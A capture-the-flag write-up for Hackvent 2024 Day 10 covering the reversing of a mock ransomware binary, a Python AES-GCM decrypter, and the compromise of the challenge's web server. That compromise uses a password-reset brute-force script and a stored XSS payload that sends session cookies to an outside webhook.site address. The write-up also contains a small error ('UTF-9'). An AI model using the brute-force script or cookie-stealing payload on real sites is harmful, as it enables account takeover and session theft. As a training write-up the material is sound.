Hackvent 2024: Day 10

Hackvent 202450

[HV24.10] Santa's Naughty Little Helper

One of Santa's elves has gone rouge and spread a virus which has infected Santa's machine! Santa's IT department was able to save a copy of Santa's home directory right after the infection happened.

Unfortunately, some of Santa's files don't seem to work any longer.

Disclaimer:
You do not need spend any real money to solve challenge.
Examine files in a controlled, safe environment.

Analyze the resources and get the flag.
Flag format: HV24{}
sha256sum of sclaus.tar.gz: 38fa3e2de68eb16c6bc897b976a1cc56ae2cdb22b4d48837c16ce112562f2c1d

This challenge was written mobeigi. If only the infra played along...

File:

Hackvent 2024 - Day 10 - sclause.tar.gz

This challenge was also written by myself!

Solution

Initial Analysis

We are presented with a Linux-style home directory for the sclaus user. Various .locked files, such as sclaus_passwords.txt.locked, appear to be encrypted. A .bash_history file is present, containing various commands Santa seems to have executed before the infection occurred. Notably, we observe that Santa used the mark_as_important alias on files they deemed important. Subsequently, they copied a binary named important-note-for-santa from a USB device into their home directory, marked it as executable, and ran it.

A suspicious-looking file, DEAR_SANTA_YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt, contains a message for Santa. The message states that an unappreciated elf infected Santa's machine with ransomware. The only way to recover the files is to send 100 CANE (Candy Cane Coin) to a specified wallet address.

The .bashrc file reveals the mark_as_important alias:

# Santa's custom commands
mark_as_important() {
    if [ -z "$1" ]; then
        echo "Usage: mark_as_important <file>"
        return 1
    fi

    local filename="$1"
    local dirname=$(dirname "$filename")
    local basefile=$(basename "$filename")
    local important_file="${dirname}/sclaus_${basefile}"

    mv "$filename" "$important_file" && echo "File marked as important: $important_file"
}

This alias simply adds the sclaus_ prefix to files marked as important. We also notice that only files with the sclaus_ prefix were encrypted. Therefore, the ransomware specifically targets files with this prefix. Our hypothesis is that we need to decrypt the locked files to recover the original ones.

Reversing engineering the binary

Fortunately, we have access to the ransomware binary, which is a C++ ELF binary.

First, in a controlled virtual machine environment, we attempt to run the binary in a directory containing test files. Our goal is to observe the binary's behaviour at runtime. However, running the binary causes it to terminate immediately, with no changes observed in the test files. This behaviour suggests that the binary employs anti-tamper techniques to avoid execution in a virtual machine environment.

Next, we use reverse engineering tools to analyse the binary. Opening the binary in IDA reveals no debug symbols, as expected. However, we find references to the OpenSSL EVP_CIPHER libraries, which have been statically linked. Investigating the strings within the binary reveals the encryption method used—AES-256 in GCM mode.

By analysing various segments of the binary, we deduce the following:

  • AES is used in GCM mode.
  • 256 bits is the key length.
  • 96 bits is the IV length.
  • 128 bits is the authorisation tag length, written at the end of the encrypted file.
  • The primary key is randomly generated during each run and lost after the program terminates.
  • The binary sends the primary key to a remote server, https://grimble.christmas/save_key/, with a payload that looks like: username=sclaus&primary_key=example.

Patching the binary

To analyse the binary during runtime, we first need to bypass its anti-VM detection. This can be achieved by:

  • Running the code outside of a virtual machine, which is not recommended for real malicious binaries.
  • Using specialised undetectable virtual machines designed for malicious payload analysis.
  • Patching the binary to disable VM detection.

In this case, we observe that the anti-VM check is the first code executed after the main function. By patching the jump instruction to invert its logic, we make the binary run only in virtual machines.

With the patched binary, we can now execute it without immediate termination. Initially, the executable appears to stall, but it eventually terminates after several seconds and encrypts test files in the current directory that are prefixed with sclaus_. This delay is due to the binary sleeping for a random duration between 5 and 30 seconds at the start of each run—a common anti-detection technique used to evade automated sandboxes.

This delay poses no significant issues as we can wait for each execution to complete. Alternatively, we could patch the binary further to remove or reduce the sleep duration.

Determining the file format

Running the binary on our test files provides an efficient way to determine the encrypted file format. Our goal is to encrypt our own files and examine the resulting encrypted files in a hex editor. While it is also possible to reverse the code responsible for creating the encrypted files, this approach is more time-consuming.

After encrypting several sclaus_-prefixed files of varying lengths, we discover the following:

  • The encrypted files are renamed with a .locked extension.
  • Files with the .locked extension are ignored in subsequent runs and are not re-encrypted.
  • A GRIMBLE magic number appears at the start of each file, likely referencing the elf who created the malware.
  • A number immediately follows the magic number, representing the length of the original filename.
  • The original filename is included in the file header.
  • The next 96 bits of data likely serve as the initialisation vector (IV).
  • The following variable-length section contains the encrypted file data.
  • The encrypted file size is proportional to the size of the original file.
  • The final 128 bits in the file are the authorisation tag.

Based on these observations and insights from reverse engineering, we deduce the precise file format:

Field

Size (bytes)

Magic number (GRIMBLE)

7

Original File Size

8 (uint64)

Original Filename Length

2 (uint16)

Original Filename

Variable (UTF-9, as per Original Filename Length)

Initialization Vector (IV)

12 (96 bits, for AES-GCM)

Encrypted File Data

Variable (Original file size bytes)

Authorization Tag

16 (128 bits)

Some knowledge of AES encryption and ransomware file formats could have made determining this file format easier.

Writing a AES Decrypter

At this stage, we can create a simple AES-GCM decrypter in our preferred programming language to parse the file header and decrypt the file contents. This involves using the primary key and the IV found in the header.

It is important to note that the length of the original file data is not stored in the header. Therefore, we must assume that all bytes following the IV section in the header, except for the last 16 bytes (reserved for the authorisation tag), comprise the encrypted file data.

We proceed to write a Python-based decrypter that successfully decrypts all .locked files in the current directory and its subdirectories:

# Decrypter for Gimble's Ransomware
# 
# Usage: python3 decrypt.py
# 
# Run in folder of interest and all .locked files will be decrypted using the primary key.
#

import os
import struct
from Cryptodome.Cipher import AES

# Specify the primary key (32 bytes for AES-256) in hex format
PRIMARY_KEY_HEX = "b68fb6d28ddb8b7fc95a5ea153e3e2436990eaee38c0a4dba0cd61c82b65c443"
PRIMARY_KEY = bytes.fromhex(PRIMARY_KEY_HEX)

# Constants
HEADER_MAGIC_NUMBER = b"GRIMBLE"

HEADER_MAGIC_NUMBER_SIZE = len(HEADER_MAGIC_NUMBER)
HEADER_ORIGINAL_FILE_SIZE = 8
HEADER_ORIGINAL_FILENAME_LENGTH_SIZE = 2

AES_IV_SIZE = 12   # AES-GCM IV size
AES_TAG_SIZE = 16  # AES-GCM tag size

def decrypt_file(file_path):
    try:
        with open(file_path, "rb") as f:
            # Validate header
            magic = f.read(len(HEADER_MAGIC_NUMBER))
            if magic != HEADER_MAGIC_NUMBER:
                print(f"Invalid file magic number for: {file_path}")
                return

            # Parse the header
            original_size = struct.unpack("<Q", f.read(8))[0] # little endian
            filename_length = struct.unpack("<H", f.read(2))[0] # little endian
            original_filename = f.read(filename_length).decode()
            iv = f.read(AES_IV_SIZE)
            
            print(f"File: {file_path}")
            print(f"Original Size: {original_size}")
            print(f"Filename Length: {filename_length}")
            print(f"Original filename: {original_filename}")
            print(f"IV: {iv.hex()}")

            # Read encrypted data and tag
            encrypted_data = f.read()  # Remaining data
            ciphertext = encrypted_data[:-AES_TAG_SIZE]
            tag = encrypted_data[-AES_TAG_SIZE:]

        # Decrypt the file
        cipher = AES.new(PRIMARY_KEY, AES.MODE_GCM, nonce=iv)
        decrypted_data = cipher.decrypt_and_verify(ciphertext, tag)

        # Write the decrypted file to disk
        output_file = os.path.join(os.path.dirname(file_path), original_filename)
        with open(output_file, "wb") as f:
            f.write(decrypted_data)
        print(f"Decrypted file saved: {output_file}")

    except ValueError as e:
        print(f"Decryption failed for {file_path}: {e}")
    except Exception as e:
        print(f"Error processing {file_path}: {e}")

def search_and_decrypt(directory):
    for root, _, files in os.walk(directory):
        for file in files:
            if file.endswith(".locked"):
                file_path = os.path.join(root, file)
                print(f"Processing file: {file_path}")
                decrypt_file(file_path)
                print()

if __name__ == "__main__":
    print("Starting decryption process...\n")
    search_and_decrypt(".")

Note that we do not possess the original primary key used to encrypt Santa's files, as it was randomly generated during the infection and is now lost. To test our decrypter, we first encrypt our own files and then use a network traffic proxy to capture the primary key as it is being sent out. Alternatively, a debugger can be used to capture the key in memory before it is transmitted.

During local testing, we successfully captured the primary key b68fb6d28ddb8b7fc95a5ea153e3e2436990eaee38c0a4dba0cd61c82b65c443. Using this key, our AES decrypter was able to decrypt our encrypted .locked files, restoring them to their original state. This confirms the decrypter is functional. The next step is to retrieve Santa's original primary key to unlock his encrypted files.

grimble.christmas

To retrieve the original key used to encrypt Santa's home directory, we must examine the remote server where the key was sent during the infection. The reversed code reveals no evidence of the key being saved locally, making the remote web server the only viable location to locate it.

save_key endpoint

The primary key was originally sent to: https://grimble.christmas/save_key/. This is an actual website hosted on the internet.

When we send a GET request to this endpoint, the server responds with:

// https://grimble.christmas/save_key/
{
  "error": "Invalid request method."
}

We try a POST request instead and receive:

// https://grimble.christmas/save_key/
{
    "error": "username and primary_key are required."
}

Recall that the payload for this endpoint looked like username=sclaus&primary_key=example. Therefore, we try to include this payload in our request:

// https://grimble.christmas/save_key/
{
    "error": "Invalid primary key. Must be a 64-character hexadecimal string."
}

We address this error by trying the primary key b68fb6d28ddb8b7fc95a5ea153e3e2436990eaee38c0a4dba0cd61c82b65c443:

// https://grimble.christmas/save_key/
{
    "error": "A key has already been stored for this username."
}

If we use the payload username=test&primary_key=b68fb6d28ddb8b7fc95a5ea153e3e2436990eaee38c0a4dba0cd61c82b65c443, the server responds with a 200 OK status but no body.

This suggests that the endpoint is designed to store primary keys sent by Grimble's ransomware. If a primary key already exists for a specific username, the server does not overwrite it. However, we can freely add primary keys for new usernames, such as the test username.

Homepage

Upon visiting the root of the website, we find Grimble's personal homepage.

Hackvent 2024 - Day 10 - grimble.christmas homepage

The homepage is marked as in-scope for the challenge and resets every 30 minutes. It includes:

  • An About Me section.
  • A list of recently active users.
  • A comment section featuring messages from other elves.

At the bottom of the page, a helpful note reads: "You must be logged in to leave a comment.". Although the next steps are not immediately clear, it is reasonable to look for something to exploit. A common approach is to locate the login panel, as logging in is evidently required for commenting.

Checking /robots.txt, a file often used to hide sensitive pages, reveals that /admin/ is blocked from web crawlers:

#  _______  ______    ___   __   __  _______  ___      _______ 
# |       ||    _ |  |   | |  |_|  ||  _    ||   |    |       |
# |    ___||   | ||  |   | |       || |_|   ||   |    |    ___|
# |   | __ |   |_||_ |   | |       ||       ||   |    |   |___ 
# |   ||  ||    __  ||   | |       ||  _   | |   |___ |    ___|
# |   |_| ||   |  | ||   | | ||_|| || |_|   ||       ||   |___ 
# |_______||___|  |_||___| |_|   |_||_______||_______||_______|
#

User-agent: *
Disallow: /admin/
Disallow: /save_key/

Alternatively, the endpoint can be guessed as /admin/ based on common admin panel naming conventions.

Visiting /admin/ displays a page indicating that we are not authenticated:

Hackvent 2024 - Day 10 - grimble.christmas Admin Page

We click a link to login and are redirected to: /admin/login/:

Hackvent 2024 - Day 10 - grimble.christmas login page

This page contains a login form that appears to be secure and not vulnerable.

However, it includes a Forgot your password? link, which redirects us to a password recovery page:

Hackvent 2024 - Day 10 - grimble.christmas Forgot Password Page

On the password recovery page, we are prompted to enter a username. The homepage provides us with the usernames of all users.

Entering usernames like admin or Grimble results in an error: You cannot reset the password of an admin account. Please go speak to Grimble in person to reset your admin account password.

Hackvent 2024 - Day 10 - grimble.christmas Forgot Password Admin Error

Instead, we try a non-admin user, such as Tinsel. This prompts us to provide a three-digit reset code that has been emailed to the address associated with the user:

Hackvent 2024 - Day 10 - grimble.christmas Code Entry Page

Obviously, we don't have access to the associated email. Guessing a random code results in an error that requires restarting the process, which also resets the code and sends a new email. However, through manual testing or scripting, we observe that this endpoint is not rate-limited.

Given the low entropy of the three-digit code, brute-forcing becomes a viable attack vector. We write a script to repeatedly try combinations, such as 000 or any other, until we receive a non-failure response, indicating the correct code has been guessed. With a 1/1000 chance of success on each attempt, this process can take anywhere from a few seconds to a few minutes, depending on the number of requests sent to the server. The script is initially single-threaded but could be adapted to use multiple threads for faster brute-forcing.

# Bruteforce the password reset mechanism on Gimble's website.
#
# This script will keep trying to reset the password by guessing the code until a non-failure response is detected.
# At which point it prints the response and terminates.
#

import requests
import sys
import time

# Base URL configuration
BASE_URL = "https://grimble.christmas/"

# Username to reset password for (the user we are attacking)
USERNAME = "Tinsel"

# URL endpoints
FORGOT_URL = f"{BASE_URL}/admin/forgot/"
CODE_ENTRY_URL = f"{BASE_URL}/admin/forgot/code-entry/"

def reset_session():
    """Sets up a new PHP session by visiting the forgot password page."""
    session = requests.Session()
    response = session.get(FORGOT_URL, params={"username": USERNAME})
    if response.status_code != 200:
        print(f"Failed to initialize session for {USERNAME}. Exiting.")
        sys.exit(1)
    return session

def try_pin(session, pin):
    """Submits a 3-digit PIN to the code-entry endpoint."""
    data = {"reset_code": f"{pin:03}"}
    response = session.post(CODE_ENTRY_URL, data=data)
    return response.text.strip()

def bruteforce():
    """Brute-force the password reset process indefinitely."""
    
    # We have 1/1000 chance of getting pin correct.
    # Each attempt is an distinct individual attempt.
    # Therefore, we can just keep retrying with pin 000 since there is no rate limiting.
    pin = 0
    
    attempts = 0
    start_time = time.time()

    while True:
        attempts += 1
        session = reset_session()
        response_text = try_pin(session, pin)

        if "That code is invalid" not in response_text:
            elapsed_time = time.time() - start_time
            print(f"\n[!] Success after {attempts} attempts in {elapsed_time:.2f} seconds!")
            print(f"Response:\n{response_text}")
            break

        # Periodically print stats
        if attempts % 100 == 0:
            elapsed_time = time.time() - start_time
            print(f"\nAttempts: {attempts}, Elapsed Time: {elapsed_time:.2f} seconds")

if __name__ == "__main__":
    print(f"Starting brute-force attack for user {USERNAME}...")
    bruteforce()

Our brute-force script is designed to print the response output only when the error string is not present, indicating a successful code guess.

When we run the script, it produces the following output:

$ py -3 code-bruteforce.py

Starting brute-force attack for user Tinsel...

Attempts: 100, Elapsed Time: 7.11 seconds

[!] Success after 174 attempts in 12.46 seconds!
Response:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Grimble the Elf - Code Entry</title>
    <!-- CSS -->
    <link href="/css/main.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">

    <style>
        .code-input {
            width: 60px;
            height: 70px;
            font-size: 2rem;
            border: 2px solid #ced4da;
            border-radius: 8px;
        }

        .code-input:focus {
            border-color: #007bff;
            box-shadow: 0 0 5px rgba(0, 123, 255, 0.5);
        }
    </style>
</head>
<body class="bg-light position-relative">
    <!-- Decorations -->
    <img src="/images/christmas-corner-decoration.png" alt="Decoration Left" class="top-decoration decoration-left">
    <img src="/images/christmas-corner-decoration.png" alt="Decoration Right" class="top-decoration decoration-right">

    <div class="container my-5">
        <!-- Page Title -->
        <div class="text-center mb-4">
            <h1 class="display-4">Code Entry</h1>
            <p>We've sent an email to the email address associated with your account with a random 3-digit reset code.</p>
        </div>

                    <div class="d-flex justify-content-center">
                <div style="max-width: 400px; width: 100%;">
                    <div class="alert alert-success">Success! Your temporary password has been set to: gSrnJpiBNtE7</div>
                    <p>You can now log into your account via the <a href="/admin/login/">login</a> page.</p>
                </div>
            </div>
            </div>

    <!-- Bottom Coal Line -->
    <div class="coal-line"></div>

    <!-- Bootstrap JS (Optional) -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>

    <!-- Code entry -->
    <script>
    document.getElementById("resetCodeForm").addEventListener("submit", function (event) {
        // Prevent empty submission if any input is missing
        const code1 = document.getElementById("code1").value;
        const code2 = document.getElementById("code2").value;
        const code3 = document.getElementById("code3").value;

        if (!code1 || !code2 || !code3) {
            alert("Please enter all 3 digits of the reset code.");
            event.preventDefault();
            return;
        }

        // Concatenate input values into the hidden field
        document.getElementById("reset_code").value = code1 + code2 + code3;
    });

    // Automatically move focus to the next input when a digit is entered
    const inputs = document.querySelectorAll("#code1, #code2, #code3");
    inputs.forEach((input, index) => {
        input.addEventListener("input", function () {
            if (this.value.length === 1 && index < inputs.length - 1) {
                inputs[index + 1].focus();
            }
        });
    });
</script>
</body>
</html>

Upon inspecting the output (HTML code) from a successful brute-force attempt, we find a message indicating that the server has reset the password for the target user to a temporary password displayed on the page.

In this instance, the user Tinsel has had their password reset to gSrnJpiBNtE7. Using these credentials, we can now log in as Tinsel on the /admin/login/ page to access the admin area:

Hackvent 2024 - Day 10 - grimble.christmas Tinsel Admin Page

The admin area displays:

  • A list of all users and their roles.
  • A coal quality dashboard.
  • A hidden section with the message: You do not have permission to see this section of the admin area because your role is not Admin.

It is clear that we need to escalate our privileges to the Admin role to access the hidden section. Since the Forgot password feature is not available for admin accounts, another method must be used.

By revisiting the homepage, we note that leaving comments is now accessible. Testing this reveals that the comment text is not sanitised, allowing us to exploit it. For example, posting a comment like <script>alert(1);</script> results in a persistent XSS on the homepage.

From the Recently active users list, we observe that several users, including Grimble (an admin), regularly visit the site. This allows us to craft a persistent XSS payload to steal session cookies and send them to a remote server. The goal is to hijack the session of an admin account.

To facilitate this, we use webhook.site as a simple solution for receiving and logging requests without setting up our own server. The XSS payload we craft is designed to capture and transmit the PHPSESSID cookie. It looks like this:

<script>
  fetch('https://webhook.site/1a13fc6e-5c2d-421b-8939-fe11d976961f', {
    method: 'POST',
    body: document.cookie
  });
</script>

Using the Tinsel user, we drop the crafted XSS payload as a comment on the homepage.

Hackvent 2024 - Day 10 - grimble.christmas Tinsel XSS Comment

After a user visits the homepage, we receive a request containing their PHP session cookie (PHPSESSID).

Grimble, the admin, visits the website approximately every 5 minutes. Additionally, the backup_bot visits more frequently, enabling us to validate that our approach works.

After waiting for some time, we successfully capture Grimble's session cookie:

Hackvent 2024 - Day 10 - webhook.site Result

Using our browser's cookie editor, we set the PHPSESSID cookie to Grimble's session ID and navigate to the admin area.

With this, we are now authenticated as an admin, and the previously hidden section becomes visible:

Hackvent 2024 - Day 10 - grimble.christmas Grimble Admin Page

The hidden section reveals Grimble's Ransomware Tracker, which contains a table listing primary keys for infected users, including sclaus.

The primary key of interest is:
c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7. This is the key originally used to encrypt Santa's files.

Additionally, the table shows other entries that may have been added via the /save_key/ endpoint, such as the entry we previously created for the test username.

Decrypting Santa's files

At this stage, we can decrypt Santa's files using the AES decrypter script created earlier. By setting the PRIMARY_KEY_HEX variable to Santa's primary key (c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7), retrieved from the grimble.christmas website, we proceed to run the script.

The decrypter successfully restores all of Santa's .locked files. Among them, sclaus_bauble.png.locked is decrypted to the original sclaus_bauble.png, which contains a QR code revealing the flag for today:

Hackvent 2024 - Day 10 - sclaus_bauble.png

Flag:

HV24{N3v3rPayTh3RaNs0mDuMMy!}

Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!